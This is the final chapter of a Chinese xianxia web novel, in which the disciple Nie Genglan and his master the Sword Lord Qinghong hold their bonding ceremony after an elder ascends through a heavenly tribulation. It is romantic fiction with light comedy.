聂更阑本该欣喜,本该恶狠狠把人吃干抹净一回,却在看到师尊羸弱得无法与他“斗智斗勇”,心一瞬间软了。 顶在他□□的腿慢慢放了下来。 聂更阑恨恨地一拳捶在清鸿剑尊脸侧的石壁间。 却听清鸿剑尊闷咳一声道:“不过是神魂虚弱罢了。” “不耽误日积月累,日后,终有一日。” 聂更阑不敢相信地抬眼扫向男人。 “你还真有脸说?!” *** 无论玉髓峰如何鸡飞狗跳,三天一大闹,五天一大吵,结契大典还是有条不紊地筹办了下去。 终于,在万众瞩目之下,日子来到了结契大典当天。 在结契大典当日的清晨,玉髓峰发生了一件大事。 洪渊道祖飞升了。 声势浩大的雷劫出现时,众人都以为这是清鸿剑尊的雷劫,惊惶得不知所措。 等到众人发现这雷劫是劈在洪渊道祖身上时,又是愕然不已。 而流光真君在收到此消息后,急匆匆赶到玉髓峰。 看到盘腿坐于空地间的洪渊道祖,他不顾威势赫赫的雷劫要冲过去,被元千修等一众人立即阻止了。 “流光真君,不得冲动啊!这雷劫若是劈在无关人等身上,那可是攸关性命之事!” 流光真君红着眼睛冲雷劫正中央的人大吼:“你还是和之前一样,一意孤行,武断专横!” 雷劫中的洪渊道祖分出一丝心神微微睁眼,“记起来了?” 流光真君冷笑:“我不必记起什么,你这副惹人厌的模样,到了哪里都一如既往令人厌恶!” 洪渊道祖不置可否,只因分出心神嘴角已经渗出一丝血迹。 雷劫还在继续。 二人的对话让众人一头雾水,压根听不懂他们在说什么。 聂更阑看向身侧的清鸿剑尊,二人面上皆是了然。 …… 洪渊道祖的雷劫足足持续了一个时辰。 道祖飞升之际,告诉清鸿剑尊,结契的贺礼已经放在渊明殿他的案桌上。 而洪渊道祖的最后一句话则留给了流光真君。 用了传音。 “你不肯与我双修,否则三个月足够你同本君一道飞升上界。” 流光真君怒不可遏,当场大骂道:“老不死的,臭不要脸!” 众人皆惊:“……” 而洪渊道祖已然化作流光径直飞往九重天了。 …… 无论如何,结契大典还是要继续的。 在开始的前半个时辰,寒梧真君因为不小心弄丢了一件宾客的贺礼,被青炎真君逮着臭骂了一顿。 这阵小风波过去后,很快,吉时已至。 …… 正值盛春,桃花灼灼,从灵音宗玉髓峰开始,延绵至百里之程。 两道长身玉立的身影从清风殿漫步而出,踏着一路的红色地毯,即将去往主持大典的广场。 聂更阑、清鸿剑尊皆身穿定制的合身红色礼服,缓步踏出房檐,迈下玉色台阶。 “师尊。” “准备好了么?” 清鸿剑尊颔首,勾唇,笑意淡然平和地与徒弟对视。 半晌,他看出徒弟有些心神不宁,于是沉声问:“很紧张?” 聂更阑搓了搓掌心,又把清鸿剑尊的手拉了过来,很好,两人的掌心都是凉的。 不过清鸿剑尊常年肌肤都是冰凉,乃极寒体质。 只有他一人因为激动紧张而使得手脚发凉,发僵。 清鸿剑尊略一思索,提出一个主意:“不若让为师抱着你出去?” 聂更阑:“……” 聂更阑义正严词地拒绝了。 “抱着,背着,都不行。” 太丢人。 只不过他太过于紧张,在二人接着往前还没两步时,又一次拽住清鸿剑尊的袍角。 聂更阑目光灼灼望着师尊,喉头滚动,犹豫良久,还是说了出来。 “或许大典时徒儿过于紧张,没能记起对师尊说这句话。” 这句话,是他对道侣最真挚的祝福。 丘宿鱼,白衣人,皆是他。 都是虞肃秋。 是师尊。 更是他相伴一生的道侣。 这句话,亦是当初在桐月城时与丘宿鱼许下的新年愿望—— “愿君千万岁,无岁不逢春。” (正文完)